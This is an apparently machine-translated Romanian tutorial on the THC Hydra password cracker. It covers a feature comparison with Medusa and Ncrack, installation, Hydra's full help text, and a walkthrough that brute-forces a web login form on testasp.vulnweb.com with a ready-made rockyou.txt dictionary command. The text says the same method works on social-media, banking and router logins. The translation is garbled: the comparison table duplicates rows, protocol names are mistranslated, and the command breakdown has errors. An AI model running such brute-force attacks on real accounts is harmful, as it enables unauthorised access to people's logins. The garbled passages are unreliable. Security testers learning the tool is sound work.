O parolă este definită tehnic ca un șir secret de caractere utilizate pentru autentificarea sau accesul la resurse. Trebuie păstrat în secret și ascuns de alții cărora nu li se permite accesul la resursele respective. Parolele au fost utilizate cu computerele încă din primele zile de calcul. Unul dintre primele sisteme de partajare a fost introdus în 1961. Avea o comandă de conectare care solicita o parolă de utilizator. După ce ați tastat PASSWORD, sistemul oprește mecanismul de imprimare, dacă este posibil, astfel încât utilizatorul să poată introduce parola cu confidențialitate.
Punctul forte al unei parole este o funcție de lungime, complexitate și imprevizibilitate. Măsoară eficiența în a rezista la ghicire sau rupere. Parolele slabe, pe de altă parte, scurtează timpul necesar pentru a ghici și a avea acces la e-mailurile personale / corporative, date sensibile precum informații financiare, informații despre afaceri, carduri de credit etc.
Există multe moduri în care o parolă poate fi slabă, corespunzând puterii punctelor forte ale diferitelor scheme de atac. Cel mai popular atac de acreditare este forța brută. este o metodă de încercare și eroare, cum ar fi ghicitul, încercarea de a decoda datele criptate, cum ar fi parola sau criptarea datelor utilizate de programul de aplicații sau instrumentul de hacking.
Hydra este cel mai rapid cracker de conectare la rețea care acceptă numeroase protocoale de atac. Este foarte rapid și flexibil, iar modulele noi sunt ușor de adăugat. Acest instrument face posibil ca cercetătorii și consultanții în securitate să arate cât de ușor ar fi să obțineți acces neautorizat la un sistem de la distanță. Hydra a fost scrisă de van Hauser și a fost susținută suplimentar de David Maciejak. În cea mai recentă actualizare, dezvoltarea hydra este mutată în depozitul github public la: https://github.com/vanhauser-thc/thc-hydra.
Hydra a fost testat pentru a compila pe Linux, Windows / Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX / Blackberry și este disponibil sub GPLv3 cu o extensie specială de licență OpenSSL.
THC Hydra acceptă aceste protocoale: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1 + v2 + v3, SOCKS5, SSH (v1 și v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC și XMPP.
COMPARAREA HIDRULUI CU ALTE UNELTE DE CRACARE
Există, de asemenea, o mulțime de instrumente de cracker de conectare lângă Hydra, cu toate acestea, niciunul nu acceptă o listă uriașă de protocoale și suport paralelizat de cracker de conectare, așa cum face Hydra. Tabelele de mai jos prezintă rezultatul comparării caracteristicilor, serviciilor și vitezei cu medusa și ncrack.
Caracteristici
Caracteristică | Hidra | meduze | Ncrack |
Licență | AGPLv3 | GPLv2 | Termeni GPLv2 + Nmap |
Suport IPv6 | da | Nu | Nu |
Interfață grafică pentru utilizator | da | da | Nu |
Suport internaționalizat (RFC 4013) | da | Nu | Nu |
Suport proxy HTTP | da | da | Nu |
Suport proxy SOCKS | da | Nu | Nu |
Protocoale acceptate | 51 | 22 | 7 |
Servicii
Serviciu | Detalii | Hidra | meduze | Ncrack |
ADAM-6500 | da | Nu | Nu | |
AFP | da | da | Nu | |
Asterisc | da | Nu | Nu | |
Parola Cisco | da | Nu | Nu | |
Activare Cisco | da | Nu | Nu | |
CVS | da | da | Nu | |
Firebird | da | Nu | Nu | |
FTP | da | da | da | |
Suport SSL | AUTH TLS & FTP pe SSL | AUTH TLS & FTP pe SSL | Nu | |
HTTP | Metode | GET, CAP, POST | OBȚINE | OBȚINE |
Aut. De bază | da | da | da | |
Formular HTTP | Metode | GET, POST | GET, POST | Nu |
Suport SSL | HTTPS | HTTPS | Nu | |
Http proxy | Aut. De bază | da | Nu | Nu |
DIGEST-MD5 Auth | da | Nu | Nu | |
NTLM Auth | da | Nu | Nu | |
Suport SSL | HTTPS | Nu | Nu | |
Enumerare URL PROXY HTTP | da | Nu | Nu | |
ICQ | v5 | da 1 | Nu | Nu |
IMAP | Suport LOGIN | da | da | Nu |
Asistență AUTENTIFICARE LOGIN | da | Nu | Nu | |
Suport AUTENT PLAIN | da | da | Nu | |
Suport AUTH CRAM-MD5 | da | Nu | Nu | |
Suport AUTH CRAM-SHA1 | da | Nu | Nu | |
Suport AUTH CRAM-SHA256 | da | Nu | Nu | |
Asistență AUTH DIGEST-MD5 | da | Nu | Nu | |
Suport AUTH NTLM | da | da | Nu | |
Suport AUTH SCRAM-SHA1 | da | Nu | Nu | |
Suport SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | Nu | |
IRC | Parola generală a serverului | da | Nu | Nu |
Parolă mod OPER | da | Nu | Nu | |
LDAP | v2, suport simplu | da | Nu | Nu |
v3, Suport simplu | da | Nu | Nu | |
v3, suport AUTH CRAM-MD5 | da | Nu | Nu | |
Asistență AUTH DIGEST-MD5 | da | |||
Suport AUTH NTLM | da | da | ||
Suport AUTH SCRAM-SHA1 | da | |||
Suport SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | Parola generală a serverului | da | ||
Parolă mod OPER | da | |||
LDAP | v2, suport simplu | da | ||
v3, Suport simplu | da | |||
v3, suport AUTH CRAM-MD5 | da | |||
v3, suport AUTH DIGEST-MD5 | da | |||
MS-SQL | da | da | ||
MySQL | v3.x | da | da | |
v4.x | da | da | ||
v5.x | da | da | ||
NCP | da | da | ||
NNTP | Suport UTILIZATOR | da | da | |
Asistență AUTENTIFICARE LOGIN | da | |||
Suport AUTENT PLAIN | da | |||
Suport AUTH CRAM-MD5 | da | |||
Asistență AUTH DIGEST-MD5 | da | |||
Suport AUTH NTLM | da | |||
Suport SSL | STARTTLS și NNTP prin SSL | |||
Oracol | Bază de date | da | da | |
Ascultător TNS | da | |||
Enumerare SID | da | |||
PC-NFS | da | |||
pcAnywhere | Autentificare nativă | da | da | |
Autentificare bazată pe sistem de operare (MS) | da | |||
POP3 | Suport UTILIZATOR | da | da | da |
Suport APOP | da | |||
Asistență AUTENTIFICARE LOGIN | da | da | ||
Suport AUTENT PLAIN | da | da | ||
Suport AUTH CRAM-MD5 | da | |||
Suport AUTH CRAM-SHA1 | da | |||
Suport AUTH CRAM-SHA256 | da | |||
Asistență AUTH DIGEST-MD5 | da | |||
Suport AUTH NTLM | da | da | ||
Suport SSL | POP3S & STARTTLS | POP3S & STARTTLS | POP3S | |
PostgreSQL | da | da | ||
Asterisc | da | |||
PDR | Stație de lucru Windows | da | da | da |
Windows Server | da | da | ||
Autentificare domeniu | da | da | ||
REDIS | da | Nu | ||
REXEC | da | da | ||
RLOGIN | da | da | ||
RPCAP | da | Nu | ||
RSH | da | da | ||
RTSP | da | Nu | ||
SAP R / 3 | da | |||
Siemens S7-300 | da | |||
ÎNGHIŢITURĂ | da | |||
Suport SSL | SIP pe SSL | |||
SMB | Mod NetBIOS | da | da | Nu |
Mod nativ W2K | da | da | da | |
Modul Hash | da | da | Nu | |
Ștergeți autentificarea textului | da | da | ||
LMv1 Aut | da | da | da | |
LMv2 Auth | da | da | da | |
NTLMv1 Auth | da | da | da | |
NTLMv2 Auth | da | da | da | |
SMTP | Asistență AUTENTIFICARE LOGIN | da | da | |
Suport AUTENT PLAIN | da | da | ||
Suport AUTH CRAM-MD5 | da | |||
Asistență AUTH DIGEST-MD5 | da | |||
Suport AUTH NTLM | da | da | ||
Suport SSL | SMTPS & STARTTLS | SMTPS & STARTTLS | ||
Enumerare utilizator SMTP | VRFY cmd | da | da | |
EXPN cmd | da | da | ||
RCPT TO cmd | da | da | ||
SNMP | v1 | da | da | |
v2c | da | da | ||
v3 | (Numai autentificare MD5 / SHA1) | |||
CALCETINE | v5, Autentificare parolă | da | ||
SSH | v1 | da | ||
v2 | da | da | da | |
Taste SSH | v1, v2 | da | ||
Subversiune (SVN) | da | da | ||
Echipa vorbeste | TS2 | da | ||
Telnet | da | da | da | |
XMPP | Asistență AUTENTIFICARE LOGIN | da | ||
Suport AUTENT PLAIN | da | |||
Suport AUTH CRAM-MD5 | da | |||
Asistență AUTH DIGEST-MD5 | da | |||
Suport AUTH SCRAM-SHA1 | da | |||
Daemon VMware Auth | v1.00 / v1.10 | da | da | |
Suport SSL | da | da | ||
VNC | Suport pentru parolă RFB 3.x | da | da | |
Suport utilizator RFB 3.x + parolă | (Numai UltraVNC) | |||
Suport pentru parolă RFB 4.x | da | da | ||
Suport utilizator RFB 4.x + parolă | (Numai UltraVNC) |
Compararea vitezei
Viteza (în s) | Hidra | meduze | Ncrack |
1 Modul Task / FTP | 11,93 | 12,97 | 18.01 |
4 Sarcini / modul FTP | 4.20 | 5.24 | 9.01 |
16 Sarcini / modul FTP | 2,44 | 2,71 | 12.01 |
1 Modul Task / SSH v2 | 32,56 | 33,84 | 45.02 |
4 Sarcini / modul SSH v2 | 10,95 | Spart | Ratat |
16 Sarcini / modul SSH v2 | 5.14 | Spart | Ratat |
Aceasta a fost o scurtă introducere simplă la hidra. Acum să trecem la instalare.
INSTALAREA HIDRA
Hydra este preinstalat pe kali linux, cu toate acestea, dacă aveți un alt sistem de operare, îl puteți compila și instala pe sistemul dvs. În prezent, asistența Hydra pe diferite platforme:
- Toate platformele UNIX (Linux, * bsd, Solaris etc.)
- MacOS (practic o clonă BSD)
- Windows cu Cygwin (atât IPv4, cât și IPv6)
- Sisteme mobile bazate pe Linux, MacOS sau QNX (de exemplu, Android, iPhone, Blackberry 10, Zaurus, iPaq)
Pentru a descărca, configura, compila și instala hydra, trebuie doar să tastați în terminal:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
Dacă aveți Ubuntu / Debian, veți avea nevoie de câteva biblioteci de dependență:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
Dacă nu ați putut găsi acele biblioteci în depozitul dvs., atunci trebuie să le descărcați și să le instalați manual.
CUM SĂ UTILIZAȚI HYDRA
Felicitări, acum ați reușit să instalați Hydra pe sistemul dvs. De fapt, Hydra vine cu două variante, GUI-gtk și versiunea mea preferată, CLI. și, în plus, hydra are, de asemenea, versiunea ghidată CLI, denumită hydra-wizard. Veți fi ghidat pas cu pas în loc să introduceți manual toate comenzile sau argumentele în terminal. Pentru a rula Hydra, de la tipul terminalului:
Pentru CLI:
hydra
Pentru CLI-wizard:
hydra-wizard
Pentru GUI:
xhydra
După ce tastați ‘hydra’, acesta va afișa comenzi de ajutor de genul acesta:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
Conectare bazată pe web Bruteforce cu hydra
Hydra acceptă unele servicii bruteforcing, așa cum am menționat mai devreme, unul dintre ele este utilizat pentru a bruteforce conectări bazate pe web, cum ar fi, formularul de conectare la rețelele de socializare, formularul de conectare bancară de utilizator, datele de conectare ale routerului dvs., etc. Acest http [s] care se va ocupa de această cerere. În acest tutorial îți voi arăta cum să forțezi conectările web vulnerabile. Înainte de a declanșa hidra, ar trebui să știm câteva argumente necesare, cum ar fi mai jos:
- Ţintă : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Autentificare nume de utilizator : admin (dacă nu sunteți sigur, forțați brute)
- Lista de parole : Locația listei de fișiere din dicționar care conține parole posibile.
- Parametrii formularului : în general, utilizați date de manipulare sau proxy pentru a obține parametri de formă de solicitare. Dar aici folosesc iceweasel, bazat pe Firefox, bara de instrumente pentru dezvoltatori de rețea.
- Modulul de service : http-post-formular
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
Obținerea parametrilor postării utilizând browserul, iceweasel / Firefox
În browserul dvs. Firefox, apăsați tastele „ CTRL + SHIFT + Q ‘. Apoi deschideți pagina de conectare webhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, veți observa că un text apare în fila dezvoltator de rețea. Vă spune ce fișiere sunt transferate către noi. Vedeți metoda, toate sunt GET, deoarece nu am POST niciun fel de date.
Pentru a obține parametrii post-formular, tastați orice în formularul de nume de utilizator și / sau parolă. Veți observa o nouă metodă POST în fila dezvoltator de rețea. Faceți dublu clic pe acea linie, în fila Headers faceți clic pe butonul Editați și Retrimiteți din partea dreaptă. Pe corpul cererii copiați ultima linie, cum ar fi tfUName = asu & tfUPass = raimu . the tfUName și tfUPass sunt parametrii de care avem nevoie. După cum se vede mai jos:
Kali linux are o mulțime de liste de cuvinte, alegeți lista de cuvinte potrivită sau pur și simplu utilizați locul rockyou.txt în / usr / share / liste de cuvinte / așa cum se vede mai jos:
Bine, acum avem toate argumentele de care avem nevoie și suntem gata să declanșăm hidra. Iată modelul de comandă:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
Să descompunem comenzile:
- the : este un cuvânt care conține un cont de nume de utilizator, utilizați -L pentru a consulta lista posibilului nume de utilizator într-un fișier.
- P : este o listă de fișiere cu o parolă posibilă, folosiți -p pentru a utiliza literalmente parola cu un cuvânt în loc să o ghiciți.
- testapp.vunlwebapp.com : este un nume de gazdă sau o țintă
- http-post-formular : este modulul de servicii pe care îl folosim
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = cei 3 parametri necesari, sintaxa este:
{URL pagină}: {Solicitați parametrii formularului corpului postării}: S = {Găsiți orice în pagină după ce v-ați conectat cu succes} - v = Mod verbos
- V = arată login: treceți pentru fiecare încercare
- f = Terminați programul dacă conectați perechea: este găsită parola
Acum, permiteți ca Hydra să încerce să rupă parola pentru noi, are nevoie de timp, deoarece este un atac de dicționar. Odată ce ați reușit să găsiți o pereche de date de conectare: parola hydra va încheia imediat lucrarea și va afișa acreditările valide.
Există atât de multe lucruri pe care Hydra le-ar putea face, deoarece în acest tutorial tocmai am învățat cum să realizăm conectarea bazată pe web folosind Hydra, învățăm doar un singur protocol, adică protocolul http-post-formular. De asemenea, putem folosi Hydra împotriva altui protocol, cum ar fi ssh, ftp, telnet, VNC, proxy etc.